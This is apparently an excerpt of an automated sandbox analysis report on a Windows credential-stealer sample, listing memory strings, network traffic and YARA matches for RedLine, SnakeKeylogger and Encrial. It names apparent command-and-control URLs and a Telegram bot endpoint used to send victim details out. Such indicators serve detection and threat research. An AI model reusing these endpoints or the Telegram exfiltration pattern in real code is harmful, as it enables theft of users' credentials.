Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/api.php
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20a
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000294E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002949000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002830000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.72
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002830000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027EB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.72$
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000379C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003948000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038FB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B75000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A51000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000394B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003777000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A2C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003901000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000379C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003948000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038FB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B75000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A51000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000394B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003777000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A2C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003901000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000297F000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000297A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
